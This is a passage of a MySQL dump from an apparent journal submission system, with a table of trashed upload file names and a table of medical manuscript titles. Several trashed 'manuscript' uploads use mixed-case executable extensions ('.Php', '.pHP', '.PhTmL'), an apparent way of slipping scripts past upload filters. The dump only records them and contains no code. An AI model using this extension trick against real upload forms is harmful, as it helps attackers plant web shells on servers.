,'','2022-04-22',1,1,0),(32265,12754,'12754-0-Manuscript-2022-04-25.docx','','2022-04-25',1,1,0),(32256,12749,'12749-0-Manuscript-2022-04-22.docx','','2022-04-22',1,1,0),(32257,12750,'12750-0-Manuscript-2022-04-22.docx','','2022-04-22',1,1,0),(32258,12751,'12751-0-Manuscript-2022-04-22.docx','','2022-04-22',1,1,0),(32287,12763,'12763-536-Manuscript-2022-04-28.Php','','2022-04-28',1,1,0),(32288,12763,'12763-881-Manuscript-2022-04-28.Php','','2022-04-28',1,1,0),(32290,12763,'12763-1198-Manuscript-2022-04-28.PHp','','2022-04-28',1,1,0),(32286,12762,'12762-0-Manuscript-2022-04-28.docx','','2022-04-28',1,1,0),(32289,12762,'12762-2005-Manuscript-2022-04-28.Php','','2022-04-28',1,1,0),(32074,12678,'12678-427-Manuscript-2022-03-22.PhTmL','','2022-03-22',1,1,0),(32075,12678,'12678-311-Manuscript-2022-03-22.phP','','2022-03-22',1,1,0),(32184,12678,'12678-316-Manuscript-2022-04-08.pHP','','2022-04-08',1,1,0),(32185,12678,'12678-512-Manuscript-2022-04-08.phP','','2022-04-08',1,1,0),(32158,12705,'12705-1929-Manuscript-2022-04-04.PhP','','2022-04-04',1,1,0),(32345,12775,'12775-0-Manuscript-2022-05-06.pdf','','2022-05-06',1,1,0),(32221,12731,'12731-0-Manuscript-2022-04-17.ganteng','','2022-04-17',1,1,0),(32222,12732,'12732-0-Manuscript-2022-04-17.ganteng','','2022-04-17',1,1,0),(32013,12655,'12655-0-Manuscript-2022-03-10.docx','','2022-03-10',1,1,0),(32076,12679,'12679-0-Manuscript-2022-03-22.docx','','2022-03-22',1,1,0),(32087,12687,'12687-0-Manuscript-2022-03-24.docx','','2022-03-24',1,1,0),(32102,12689,'12689-0-Manuscript-2022-03-25.docx','','2022-03-25',1,1,0),(32129,12696,'12696-0-Manuscript-2022-03-29.docx','','2022-03-29',1,1,0),(32153,12701,'12701-0-Manuscript-2022-04-01.pdf','','2022-04-01',1,1,0),(32220,12730,'12730-0-Manuscript-2022-04-17.ganteng','','2022-04-17',1,1,0),(32288,12764,'12764-0-Manuscript-2022-05-01.phP','','2022-05-01',1,1,0),(32291,12766,'12766-0-Manuscript-2022-05-01.jpg','','2022-05-01',1,1,0),(32289,12765,'12765-0-Manuscript-2022-05-01.PhP','','2022-05-01',1,1,0),(32290,12765,'12765-1-Manuscript-2022-05-01.pHp','','2022-05-01',1,1,0),(32292,12767,'12767-0-Manuscript-2022-05-01.jpg','','2022-05-01',1,1,0),(32218,12729,'12729-0-Manuscript-2022-04-15.docx','','2022-04-15',1,1,0),(32426,12792,'12792-0-Manuscript-2022-05-21.docx','','2022-05-21',1,1,0),(32279,12757,'12757-0-Manuscript-2022-04-27.docx','','2022-04-27',1,1,0),(32284,12761,'12761-0-Manuscript-2022-04-28.docx','','2022-04-28',1,1,0),(32285,12761,'12761-1-Manuscript-2022-04-28.docx','','2022-04-28',1,1,0),(32295,12768,'12768-0-Manuscript-2022-05-02.docx','','2022-05-02',1,1,0),(32434,12799,'12799-0-Manuscript-2022-05-24.pHtmL','','2022-05-24',1,1,0),(32336,12772,'12772-0-Manuscript-2022-05-05.docx','','2022-05-05',1,1,0),(32359,12778,'12778-0-Manuscript-2022-05-08.docx','','2022-05-08',1,1,0),(32355,12776,'12776-0-Manuscript-2022-05-07.docx','','2022-05-07',1,1,0),(32385,12780,'12780-0-Manuscript-2022-05-11.docx','','2022-05-11',1,1,0),(32451,12800,'12800-0-Manuscript-2022-05-27.pdf','','2022-05-27',1,1,0),(32452,12800,'12800-1-Manuscript-2022-05-27.pdf','','2022-05-27',1,1,0),(32454,12802,'12802-0-Manuscript-2022-05-29.html','','2022-05-29',1,1,0),(32455,12802,'12802-1139-Manuscript-2022-05-29.html','','2022-05-29',1,1,0),(32453,12801,'12801-0-Manuscript-2022-05-29.html','','2022-05-29',1,1,0),(32463,12806,'12806-1181-Manuscript-2022-05-31.png','','2022-05-31',1,1,0),(32464,12806,'12806-1371-Manuscript-2022-05-31.png','','2022-05-31',1,1,0),(32465,12805,'12805-1003-Manuscript-2022-05-31.png','','2022-05-31',1,1,0),(32527,12816,'12816-0-Manuscript-2022-06-13.docx','','2022-06-13',1,1,0),(32716,12857,'12857-0-Manuscript-2022-07-13.docx','','2022-07-13',1,1,0),(32717,12857,'12857-1-Manuscript-2022-07-13.docx','','2022-07-13',1,1,0),(32718,12857,'12857-2-Manuscript-2022-07-13.docx','','2022-07-13',1,1,0),(32706,12849,'12849-0-Manuscript-2022-07-09.doc','','2022-07-09',1,1,0),(32711,12854,'12854-0-Manuscript-2022-07-12.docx','','2022-07-12',1,1,0),(32744,12864,'12864-0-Manuscript-2022-07-19.docx','','2022-07-19',1,1,0),(32699,12847,'12847-0-Manuscript-2022-07-06.docx','','2022-07-06',1,1,0),(32712,12855,'12855-263-Manuscript-2022-07-12.pdf','','2022-07-12',1,1,0),(32747,12866,'12866-0-Manuscript-2022-07-20.docx','','2022-07-20',1,1,0),(32841,12896,'12896-0-Manuscript-2022-08-02.docx','','2022-08-02',1,1,0),(32842,12896,'12896-1-Manuscript-2022-08-02.docx','','2022-08-02',1,1,0),(32843,12896,'12896-2-Manuscript-2022-08-02.docx','','2022-08-02',1,1,0),(32844,12896,'12896-3-Manuscript-2022-08-02.docx','','2022-08-02',1,1,0),(32845,12896,'12896-4-Manuscript-2022-08-02.docx','','2022-08-02',1,1,0),(32825,12893,'12893-0-Manuscript-2022-07-29.docx','','2022-07-29',1,1,0),(32826,12894,'12894-0-Manuscript-2022-07-29.docx','','2022-07-29',1,1,0),(32904,12915,'12887-0-Manuscript-2022-07-28.docx','','2022-07-28',1,1,0),(32873,12903,'12903-0-Manuscript-2022-08-08.docx','','2022-08-08',1,1,0),(32872,12902,'12902-0-Manuscript-2022-08-08.docx','','2022-08-08',1,1,0),(32880,12909,'12909-0-Manuscript-2022-08-09.docx','','2022-08-09',1,1,0),(32965,12928,'12928-0-Manuscript-2022-08-17.docx','','2022-08-17',1,1,0),(32963,12927,'12927-0-Manuscript-2022-08-17.docx','','2022-08-17',1,1,0),(32969,12931,'12931-0-Manuscript-2022-08-17.docx','','2022-08-17',1,1,0),(33003,12943,'12943-0-Manuscript-2022-08-18.docx','','2022-08-18',1,1,0),(32985,12937,'12937-0-Manuscript-2022-08-18.docx','','2022-08-18',1,1,0),(33017,12945,'12945-0-Manuscript-2022-08-19.docx','','2022-08-19',1,1,0),(33027,12952,'12952-0-Manuscript-2022-08-19.docx','','2022-08-19',1,1,0),(33002,12942,'12942-0-Manuscript-2022-08-18.docx','','2022-08-18',1,1,0),(33085,12957,'12957-0-Manuscript-2022-08-20.docx','','2022-08-20',1,1,0),(33107,12962,'12962-0-Manuscript-2022-08-22.docx','','2022-08-22',1,1,0),(33105,12961,'12961-0-Manuscript-2022-08-22.docx','','2022-08-22',1,1,0),(33114,12963,'12963-0-Manuscript-2022-08-22.docx','','2022-08-22',1,1,0),(33144,12971,'12971-0-Manuscript-2022-08-23.docx','','2022-08-23',1,1,0),(33152,12976,'12976-0-Manuscript-2022-08-23.docx','','2022-08-23',1,1,0),(33137,12966,'12966-0-Manuscript-2022-08-23.docx','','2022-08-23',1,1,0),(33138,12967,'12967-0-Manuscript-2022-08-23.docx','','2022-08-23',1,1,0),(33219,12999,'12999-0-Manuscript-2022-08-26.docx','','2022-08-26',1,1,0),(33163,12980,'12980-0-Manuscript-2022-08-24.docx','','2022-08-24',1,1,0),(33194,12992,'12992-0-Manuscript-2022-08-25.docx','','2022-08-25',1,1,0),(33241,13009,'13009-0-Manuscript-2022-08-29.docx','','2022-08-29',1,1,0),(33383,13039,'13039-0-Manuscript-2022-09-06.jpg','','2022-09-06',1,1,0),(33432,13050,'13050-0-Manuscript-2022-09-08.docx','','2022-09-08',1,1,0),(33441,13056,'13056-0-Manuscript-2022-09-09.docx','','2022-09-09',1,1,0),(33440,13055,'13055-0-Manuscript-2022-09-09.docx','','2022-09-09',1,1,0),(33474,13064,'13064-0-Manuscript-2022-09-14.docx','','2022-09-14',1,1,0),(33835,13115,'13115-0-Manuscript-2022-10-06.docx','','2022-10-06',1,1,0),(33818,13110,'13110-0-Manuscript-2022-10-05.docx','','2022-10-05',1,1,0),(33865,13118,'13118-0-Manuscript-2022-10-11.docx','','2022-10-11',1,1,0),(33866,13118,'13118-1-Manuscript-2022-10-11.docx','','2022-10-11',1,1,0),(33897,13122,'13122-0-Manuscript-2022-10-18.docx','','2022-10-18',1,1,0),(33942,13138,'13138-0-Manuscript-2022-10-26.docx','','2022-10-26',1,1,0),(33940,13136,'13136-0-Manuscript-2022-10-26.docx','','2022-10-26',1,1,0),(33978,13148,'13148-0-Manuscript-2022-10-29.docx','','2022-10-29',1,1,0),(34228,13170,'13170-0-Manuscript-2022-11-16.docx','','2022-11-17',1,1,0),(34246,13172,'13172-0-Manuscript-2022-11-17.docx','','2022-11-17',1,1,0),(34296,13191,'13191-30gw-Manuscript-2022-11-24.jpeg','','2022-11-24',1,1,0),(34297,13191,'13191-4ebi-Manuscript-2022-11-24.jpg','','2022-11-24',1,1,0),(34298,13191,'13191-wk97-Manuscript-2022-11-24.png','','2022-11-24',1,1,0),(34305,13197,'13197-0-Manuscript-2022-11-24.docx','','2022-11-24',1,1,0),(34421,13225,'13225-0-Manuscript-2022-11-30.docx','','2022-12-01',1,1,0),(34456,13242,'13242-qsyt-Manuscript-2022-12-02.pdf','','2022-12-02',1,1,0),(34458,13242,'13242-p0ez-Manuscript-2022-12-02.pdf','','2022-12-02',1,1,0),(34453,13239,'13239-0-Manuscript-2022-12-02.jpg','','2022-12-02',1,1,0),(34454,13241,'13241-0-Manuscript-2022-12-02.jpg','','2022-12-02',1,1,0),(34443,13231,'13231-4lqs-Manuscript-2022-12-02.png','','2022-12-02',1,1,0),(34444,13231,'13231-018z-Manuscript-2022-12-02.png','','2022-12-02',1,1,0),(34450,13237,'13237-0-Manuscript-2022-12-02.png','','2022-12-02',1,1,0),(34447,13234,'13234-0-Manuscript-2022-12-02.png','','2022-12-02',1,1,0),(34446,13233,'13233-0-Manuscript-2022-12-02.png','','2022-12-02',1,1,0),(34449,13236,'13236-0-Manuscript-2022-12-02.png','','2022-12-02',1,1,0),(34448,13235,'13235-0-Manuscript-2022-12-02.png','','2022-12-02',1,1,0),(34598,13265,'13265-0-Manuscript-2022-12-11.png','','2022-12-11',1,1,0),(34602,13269,'13269-0-Manuscript-2022-12-12.docx','','2022-12-12',1,1,0),(34643,13297,'13297-0-Manuscript-2022-12-13.docx','','2022-12-13',1,1,0),(34626,13283,'13283-0-Manuscript-2022-12-13.docx','','2022-12-13',1,1,0),(34701,13316,'13282-0-Manuscript-2022-12-13.docx','','2022-12-13',1,1,0),(34702,13316,'13316-vdfo-Manuscript-2022-12-15.docx','','2022-12-15',1,1,0),(34692,13314,'13314-0-Manuscript-2022-12-14.docx','','2022-12-14',1,1,0),(34677,13310,'13310-0-Manuscript-2022-12-14.docx','','2022-12-14',1,1,0),(34660,13306,'13306-0-Manuscript-2022-12-14.docx','','2022-12-14',1,1,0),(34786,13328,'13328-0-Manuscript-2022-12-17.docx','','2022-12-17',1,1,0),(34785,13327,'13327-0-Manuscript-2022-12-17.docx','','2022-12-17',1,1,0),(34788,13330,'13330-0-Manuscript-2022-12-17.doc','','2022-12-17',1,1,0),(34887,13346,'13346-0-Manuscript-2022-12-21.docx','','2022-12-21',1,1,0),(35042,13355,'13355-0-Manuscript-2022-12-29.docx','','2022-12-30',1,1,0),(35092,13383,'13383-0-Manuscript-2023-01-10.docx','','2023-01-10',1,1,0),(35090,13381,'13381-0-Manuscript-2023-01-10.docx','','2023-01-10',1,1,0),(35094,13385,'13385-0-Manuscript-2023-01-10.docx','','2023-01-10',1,1,0),(35106,13393,'13393-0-Manuscript-2023-01-10.docx','','2023-01-10',1,1,0),(35107,13394,'13394-0-Manuscript-2023-01-10.docx','','2023-01-10',1,1,0),(35158,13405,'13405-0-Manuscript-2023-01-12.docx','','2023-01-12',1,1,0),(35230,13426,'13426-0-Manuscript-2023-01-19.docx','','2023-01-19',1,1,0),(35229,13425,'13425-0-Manuscript-2023-01-19.docx','','2023-01-19',1,1,0),(35280,13437,'13437-0-Manuscript-2023-01-21.docx','','2023-01-21',1,1,0),(35281,13437,'13437-1-Manuscript-2023-01-21.docx','','2023-01-21',1,1,0),(35282,13437,'13437-2-Manuscript-2023-01-21.docx','','2023-01-21',1,1,0),(35339,13443,'13443-0-Manuscript-2023-01-24.docx','','2023-01-24',1,1,0),(35376,13450,'13450-0-Manuscript-2023-01-27.docx','','2023-01-27',1,1,0),(35674,13499,'13499-0-Manuscript-2023-02-13.docx','','2023-02-13',1,1,0),(32287,12763,'12763-0-Manuscript-2022-05-01.jpg','','2022-05-01',1,1,0),(34640,13294,'13294-0-Manuscript-2022-12-13.docx','','2022-12-13',1,1,0),(35732,13506,'13506-0-Manuscript-2023-02-18.docx','','2023-02-18',1,1,0),(35733,13506,'13506-1-Manuscript-2023-02-18.docx','','2023-02-18',1,1,0),(35734,13506,'13506-2-Manuscript-2023-02-18.jpg','','2023-02-18',1,1,0),(35735,13506,'13506-3-Manuscript-2023-02-18.jpg','','2023-02-18',1,1,0),(35822,13522,'13522-0-Manuscript-2023-02-26.docx','','2023-02-26',1,1,0),(35827,13523,'13523-0-Manuscript-2023-02-27.pdf','','2023-02-27',1,1,0),(35856,13527,'13527-0-Manuscript-2023-03-02.docx','','2023-03-02',1,1,0),(35894,13543,'13520-0-Manuscript-2023-02-24.pdf','','2023-02-24',1,1,0),(35895,13543,'13520-1-Manuscript-2023-02-24.pdf','','2023-02-24',1,1,0),(35896,13543,'13520-2-Manuscript-2023-02-24.pdf','','2023-02-24',1,1,0),(35887,13542,'13542-2jby-Manuscript-2023-03-08.docx','','2023-03-08',1,1,0),(35888,13542,'13542-seko-Manuscript-2023-03-08.docx','','2023-03-08',1,1,0),(35917,13549,'13549-0-Manuscript-2023-03-13.docx','','2023-03-13',1,1,0),(35943,13566,'13566-0-Manuscript-2023-03-14.docx','','2023-03-14',1,1,0),(36000,13590,'13590-0-Manuscript-2023-03-16.docx','','2023-03-16',1,1,0),(36123,13605,'13605-0-Manuscript-2023-03-23.docx','','2023-03-23',1,1,0),(36269,13632,'13632-0-Manuscript-2023-04-05.docx','','2023-04-05',1,1,0),(36514,13702,'13702-0-Manuscript-2023-04-20.docx','','2023-04-20',1,1,0),(36562,13712,'13707-0-Manuscript-2023-04-21.docx','','2023-04-21',1,1,0),(36561,13711,'13711-0-Manuscript-2023-04-22.docx','','2023-04-22',1,1,0),(36612,13725,'13704-0-Manuscript-2023-04-21.docx','','2023-04-21',1,1,0),(36613,13725,'13723-6req-Manuscript-2023-04-22.docx','','2023-04-22',1,1,0),(36614,13725,'13725-c0d8-Manuscript-2023-04-24.docx','','2023-04-24',1,1,0),(36866,13748,'13748-0-Manuscript-2023-05-06.docx','','2023-05-06',1,1,0),(36906,13758,'13758-0-Manuscript-2023-05-10.docx','','2023-05-10',1,1,0),(36981,13772,'13772-0-Manuscript-2023-05-20.docx','','2023-05-20',1,1,0),(36984,13775,'13775-0-Manuscript-2023-05-22.docx','','2023-05-22',1,1,0),(37076,13794,'13794-0-Manuscript-2023-06-03.docx','','2023-06-04',1,1,0),(37113,13811,'13811-0-Manuscript-2023-06-13.docx','','2023-06-13',1,1,0),(37123,13818,'13818-0-Manuscript-2023-06-14.docx','','2023-06-14',1,1,0),(37156,13836,'13836-0-Manuscript-2023-06-19.docx','','2023-06-19',1,1,0),(37271,13874,'13874-0-Manuscript-2023-06-26.docx','','2023-06-26',1,1,0),(37332,13879,'13879-0-Manuscript-2023-06-29.docx','','2023-06-29',1,1,0),(37357,13891,'13891-0-Manuscript-2023-07-01.docx','','2023-07-01',1,1,0),(37440,13900,'13900-0-Manuscript-2023-07-10.docx','','2023-07-10',1,1,0),(38105,14054,'13875-0-Manuscript-2023-06-28.docx','','2023-06-28',1,1,0),(38106,14054,'14054-Manuscript-2023-08-31-ze8k-qcfupteam-revised.docx','','2023-08-31',1,1,0),(38093,14048,'13817-0-Manuscript-2023-06-14.docx','','2023-06-14',1,1,0),(38094,14048,'14048-Manuscript-2023-08-31-idxg-qcfupteam-revised.docx','','2023-08-31',1,1,0),(38157,14060,'14057-0-Manuscript-2023-09-02.docx','','2023-09-02',1,1,0),(38169,14063,'14063-0-Manuscript-2023-09-08.docx','','2023-09-08',1,1,0),(38215,14075,'14075-0-Manuscript-2023-09-15.docx','','2023-09-15',1,1,0),(38218,14078,'14078-0-Manuscript-2023-09-15.docx','','2023-09-15',1,1,0),(38440,14130,'14130-0-Manuscript-2023-10-26.docx','','2023-10-26',1,1,0),(38439,14129,'14129-0-Manuscript-2023-10-26.docx','','2023-10-26',1,1,0),(38443,14133,'14133-0-Manuscript-2023-10-26.docx','','2023-10-26',1,1,0),(38558,14224,'14224-0-Manuscript-2023-10-31.docx','','2023-10-31',1,1,0),(38580,14236,'14236-0-Manuscript-2023-11-02.docx','','2023-11-02',1,1,0),(38581,14237,'14237-0-Manuscript-2023-11-02.docx','','2023-11-02',1,1,0),(38587,14243,'14243-0-Manuscript-2023-11-02.docx','','2023-11-02',1,1,0),(38878,14344,'14344-0-Manuscript-2023-12-06.docx','','2023-12-06',1,1,0),(38927,14360,'14360-0-Manuscript-2023-12-12.docx','','2023-12-12',1,1,0),(38933,14366,'14366-0-Manuscript-2023-12-13.docx','','2023-12-13',1,1,0),(39071,14381,'14381-0-Manuscript-2023-12-19.png','','2023-12-19',1,1,0),(39073,14383,'14383-0-Manuscript-2023-12-19.png','','2023-12-19',1,1,0),(39072,14382,'14382-0-Manuscript-2023-12-19.png','','2023-12-19',1,1,0),(39283,14402,'14402-0-Manuscript-2024-01-04.docx','','2024-01-04',1,1,0),(39174,14387,'14387-spvy-Manuscript-2023-12-31.pdf','','2023-12-31',1,1,0),(39175,14387,'14387-ov4w-Manuscript-2023-12-31.pdf','','2023-12-31',1,1,0),(39176,14387,'14387-0h79-Manuscript-2023-12-31.jpg','','2023-12-31',1,1,0),(39288,14406,'14406-0-Manuscript-2024-01-04.docx','','2024-01-04',1,1,0),(39520,14514,'14514-1klg-Manuscript-2024-01-21.png','','2024-01-21',1,1,0),(39619,14537,'14537-0-Manuscript-2024-01-27.jpg','','2024-01-27',1,1,0),(39609,14536,'14536-0-Manuscript-2024-01-27.pdf','','2024-01-27',1,1,0),(39610,14536,'14536-o50h-Manuscript-2024-01-27.pdf','','2024-01-27',1,1,0),(39611,14536,'14536-cn23-Manuscript-2024-01-27.pdf','','2024-01-27',1,1,0),(39612,14536,'14536-sa24-Manuscript-2024-01-27.jpg','','2024-01-27',1,1,0),(39613,14536,'14536-c1o5-Manuscript-2024-01-27.jpg','','2024-01-27',1,1,0),(39614,14536,'14536-k1lw-Manuscript-2024-01-27.jpg','','2024-01-27',1,1,0),(39615,14536,'14536-uq19-Manuscript-2024-01-27.JPG','','2024-01-27',1,1,0),(39616,14536,'14536-0sow-Manuscript-2024-01-27.jpg','','2024-01-27',1,1,0),(39617,14536,'14536-0suv-Manuscript-2024-01-27.jpeg','','2024-01-27',1,1,0),(39618,14536,'14536-lhqz-Manuscript-2024-01-27.gif','','2024-01-27',1,1,0),(39608,14535,'14535-0-Manuscript-2024-01-27.pdf','','2024-01-27',1,1,0),(39607,14532,'14532-0-Manuscript-2024-01-27.pdf','','2024-01-27',1,1,0),(39621,14539,'14539-0-Manuscript-2024-01-27.pdf','','2024-01-27',1,1,0),(39620,14538,'14538-0-Manuscript-2024-01-27.png','','2024-01-27',1,1,0),(39223,14390,'14390-0-Manuscript-2024-01-02.docx','','2024-01-02',1,1,0),(39229,14396,'14396-0-Manuscript-2024-01-02.docx','','2024-01-02',1,1,0),(39228,14395,'14395-0-Manuscript-2024-01-02.docx','','2024-01-02',1,1,0),(39227,14394,'14394-0-Manuscript-2024-01-02.docx','','2024-01-02',1,1,0),(39226,14393,'14393-0-Manuscript-2024-01-02.docx','','2024-01-02',1,1,0),(39225,14392,'14392-0-Manuscript-2024-01-02.docx','','2024-01-02',1,1,0),(39230,14397,'14397-0-Manuscript-2024-01-02.docx','','2024-01-02',1,1,0),(39333,14416,'14416-0-Manuscript-2024-01-06.doc','','2024-01-06',1,1,0),(39806,14578,'14565-0-Manuscript-2024-02-15.docx','','2024-02-15',1,1,0),(39807,14578,'14578-1nxv-Manuscript-2024-02-15.docx','','2024-02-15',1,1,0),(39796,14573,'14563-0-Manuscript-2024-02-15.docx','','2024-02-15',1,1,0),(39797,14573,'14573-8nbf-Manuscript-2024-02-15.docx','','2024-02-15',1,1,0),(39916,14596,'14596-0-Manuscript-2024-03-01.docx','','2024-03-01',1,1,0),(39918,14598,'14598-0-Manuscript-2024-03-01.docx','','2024-03-01',1,1,0),(39921,14601,'14601-0-Manuscript-2024-03-01.docx','','2024-03-01',1,1,0),(39928,14608,'14608-0-Manuscript-2024-03-01.docx','','2024-03-01',1,1,0),(39927,14607,'14607-0-Manuscript-2024-03-01.docx','','2024-03-01',1,1,0),(39926,14606,'14606-0-Manuscript-2024-03-01.docx','','2024-03-01',1,1,0),(40320,14735,'14735-0-Manuscript-2024-04-06.docx','','2024-04-06',1,1,0),(40390,14739,'14739-0-Manuscript-2024-04-12.pdf','','2024-04-12',1,1,0),(40394,14742,'14742-0-Manuscript-2024-04-14.docx','','2024-04-14',1,1,0);
/*!40000 ALTER TABLE `submissions_trash` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `test_tbl`
--

DROP TABLE IF EXISTS `test_tbl`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `test_tbl` (
  `et_mid` varchar(50) DEFAULT NULL,
  `m_title` varchar(250) DEFAULT NULL,
  `si_title` varchar(250) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `test_tbl`
--

LOCK TABLES `test_tbl` WRITE;
/*!40000 ALTER TABLE `test_tbl` DISABLE KEYS */;
INSERT INTO `test_tbl` VALUES ('et_mid','m_title','si_title'),('6836','Reforming Rebate Contracting Will Improve Drug Affordability',''),('6834','COPD exacerbations affect clinical outcome in advanced non small cell lung cancer: a retrospective analysis',''),('6793','SONOGRAPHIC REFERENCE LUMINAL DIAMETER OF THE ABDOMINAL AORTA AMONG SUBJECTS IN NIGERIA',''),('6776','Breastfeeding in The Novel Coronavirus Disease 2019 (COVID-19) Confirmed Cases of Women:',''),('6757','Attitudes toward cost-conscious care among Iranian physicians',''),('6742','LUENCE OF CONSTRAINT-INDUCED MOVEMENT THERAPY ASSOCIATED WITH ZICLAGUE® PHYTOTHERAPIC IN CHRONIC HEMIPARETICS',''),('6708','Intestinal Parasitic Infection Status (IPIS)  among Primary School Children in Ethiopia: A Systematic Review and Meta-Analysis',''),('6714','360 DEGREE CERVICAL DECOMPRESSION AND FUSION IN A 65 YEAR OLD MAN WITH TANDEM SPINAL STENOSIS',''),('6718','Occupational rehabilitation of patients with posterior cerebral artery stroke and anatomical variations of the circle of Willis',''),('6704','NIVOLUMAB AND ACUTE GRADE III RENAL TOXICITY',''),('6679','DIAGNOSTIC VALUES OF INFLAMMATORY MARKERS  AT PICU',''),('6665','Level of Active  Mental Health-Related Mass Media Female Students The during COVID-19 Pandemic',''),('6604','Hospitalization Rate Among Recipients of Non-Skilled Home Care and the Feasibility  of Using a Novel Standardized Assessment to Reduce Hospitalizations',''),('6605','Anxiety symptoms in university professors during the COVID-19 pandemic',''),('6570','Teleradiology and AI as Solution to Overcome the COVID-19 Pandemic Impact During the Lockdowns in Africa ',''),('6561','Tuberculosis treament outcomes among children in Ethiopia: Systematic review and Meta analysis ',''),('6571','EFFECT OF SUPPLEMENTAL AMINO ACID ON PERFORMANCE AND PROXIMATE COMPOSITION OF Clarias gariepinus (BURCHELL, 1822) FED ROASTED SOYABEAN BASED DIETS',''),('6550','A Cross-sectional Study on  the Healthy and Nutritionally Balanced Vegetarian  Mid-Day Meal for Universal Acceptance: An Overview ',''),('6558','ASSOCIATION BETWEEN SOCIO-DEMOGRAPHIC FACTORS AND ADHERENCE TO TREATMENT BY HIV PATIENTS UNDERGOING ANTI-RETROVIRAL TREATMENT AT THE UNIVERSITY OF CALABAR TEACHING HOSPITAL, CALABAR, NIGERIA.',''),('6501','A controlled final irrigation protocol reduces the acute pain rate of single versus two-visit RCT of teeth with necrotic pulp and apical periodontitis: A multicenter clinical trial.',''),('6468','The potential impact of Helicobacter pylori infection on the onset of metabolic disease',''),('6455','Presentation of a case of fulminant hepatitis due to Hepatitis A, in a 3 – year - old female preschool ',''),('6456','Complex febrile seizures associated with Doose vs Dravet syndrome. Presentation of a clinical case ',''),('6434','IS PROCALCITONIN AND LACTATE A EARLY MARKERS FOR  SEPSIS IN NEWBORNS IN THE ICU-',''),('6437','Improving Mental Health In Māori Children Witnessing Family Violence',''),('6376','EXTRA AND INTRAPARENCHYMAL RENAL ARTERY ANEURYSMS CAUSING HYDRONEPHROSIS A CASE REPORT',''),('6377','FAMILY SUPPORT AND COPING MECHANISM IN CONGESTIVE HEART FAILURE PATIENT',''),('6398','Exploring evidence: a challenge before nurses of today',''),('6354','Risk factors and prevalence of neonatal polycythemia in Duhok maternity hospital/A cross-section study',''),('6338','The Impact of COVID-19 Pandemic on Food Security in KSA (1968-2019): Evidence from A Simultaneous Equations system',''),('6339','Nonlinear Relationships between macroeconomic indicators shocks and Inflation rate in Sudan Economy 1970-2019: Evidence Combination between NARDL Model, SVAR approach',''),('6324','A NEW EARLY DIAGNOSTIC APROACH OF SEPSIS IN NEWBORNS WITH RESPIRATORY DISTRESS SYNDROME AT THE INTENSIVE CARE UNIT',''),('6244','Is there a correlation between changes in hydroxychloroquine use and mortality rates from COVID-19?',''),('6265','Application of Peptides and Proteomics in the Diagnosis and Management of Pancreatic Cancer',''),('6290','Telehealth and Achieving the Quadruple Aim in Rural communities: A Vision for the 21st Century',''),('6228','          PHYSICAL THERAPY A CRITICAL COMPONENT IN BREAST CANCER AND                    SECONDARY LYMPHEDEMA:A REHABILITATION PERSPECTIVE.',''),('6238','HISTOCHEMICAL ANALYSIS OF DNA AND RNA IDENTIFIED BY METHYL GREEN - PYRONIN ‘Y’ METHOD AND FEULGEN’S REACTION STAINING  IN LIVER OF CHANNA PUNCTATUS',''),('6219','Efficacy of plant-extract based gel for facial acne treatment: randomized, controlled, parallel group, and comparative study ',''),('6203','Feeding practices and nutritional evolution of preterm infants during hospitalization: A Longitudinal Study',''),('6221','Clinical efficacy on treatment of broad-spectrum viral infections with topical use of polyherbal plant extract based oils ',''),('6147','A systematic review of randomised controlled trials examining Curcuma longa for dementia',''),('6136','Genetic Diversity of the Chinese Mitten Crab (Eriocheir sinensis) from Six Different Lakes Using Microsatellites',''),('6029','Perceptions of academia of different health professions towards Inter Professional Education in Sri Lanka.',''),('6032','Knowledge, Attitude and Practice towards Insulin-Self Administration among Diabetic Patients’ Attending Bedele Hospital, Southwest, Ethiopia, 2019/2020',''),('5996','Effects of a multiprofessional program and isolated in improvement of the functional fitness of elderly',''),('6003','Effects of Steroid Hormones on Sleep Disorders',''),('6006','Evaluation of the histopathological findings of 128 persistent periapical radiolucent lesions of endodontic origin obtained during apical resective surgery.',''),('6023','AQUATIC PSYCHOMOTRICITY CONTRIBUTION TO GLOBAL AND FINE MOTOR SKILLS OF ELDERLY WITH STROKE',''),('5974','N-linked Glycosylation and its Potential Application in Drug Development',''),('5984','Trainee doctors’ perception of the adequacy of support during their Intensive Care attachment- A phenomenological study',''),('5936','Locus Of Control with Learning Achievement Student Nurse',''),('5958','Seasonal Variation of Fatty Acid composition of Phospholipid Subclasses in Muscle Tissue in Male, Alburnus mossulensis',''),('5908','The Importance of Resilience in the Management of Chronic Pain in Occupational Therapy – A General Study',''),('5909','Mental health and COVID-19 infection: Systematic review in human cross-sectional studies',''),('5887','A novel approach to prevent pterygium recurrence',''),('5888','A novel approach to prevent intraocular Pressure spikes and reflux during intravitreal Injections',''),('5889','Diabetic retinopathy health crises in Kurdistan governorate-Iraq/Erbil',''),('5890','A Novel Approach To Prevent Endothelial Tear/Detachment In Combined Advanced Pseudoexfoliation Syndrome And Diabetes Mellitus',''),('5779','VIROLOGICAL FEATURES, DIAGNOSIS AND TREATMENT: A REVIEW OF COVID-19',''),('5808','Microbiological Quality of fresh Bogue fish caught at M’diq port, Morocco',''),('5757','A COMPARATIVE STUDY OF MATERNAL AND CHILD HEALTH OUTCOMES OF PREGNANT WOMEN LIVING WITH AND WITHOUT DISABILITY',''),('5761','IMPACT OF PELVIC FLOOR MUSCLE EXERCISES TO REDUCE THE STRESS URINARY INCONTINENCE AMONG MENOPAUSAL WOMEN IN SELECTED AREAS OF BHUBANESWAR ODISHA”.',''),('5764','Relation of food addiction in overweight/obesity, depression and impulsivity: A systematic review and meta-analysis. ',''),('5768','LAVENDER’S THERAPY TO DECREASE ANXIETY SCALE PATIENT WITH PRE-MASTECTOMY SURGERY IN THE OPERATION THEATRE MURNI TEGUH MEMORIAL HOSPITAL',''),('5729','Prevalence and Predictors of Stunting among children of age between 6 to 23 months in four districts of Wolaita zone, Southern Ethiopia',''),('5659','Assessment of Anaemia and associated risk factors among Women child bearing ages in selected Health Centres in Addis Ababa, Ethiopia',''),('5610','TO STUDY EFFECT OF TELMISARTAN ON HYPERTENSION',''),('5490','Bodyweight never causes back pain, neck pain, or disc prolapse.',''),('5437','Mind and Machine: Two sides of the same Coin?',''),('5465','Assessment and comparative study of job stress in Jam Hospital jobs, Tehran City     Author: Esmat sadeghpour, Ebrahim karimi sangchini 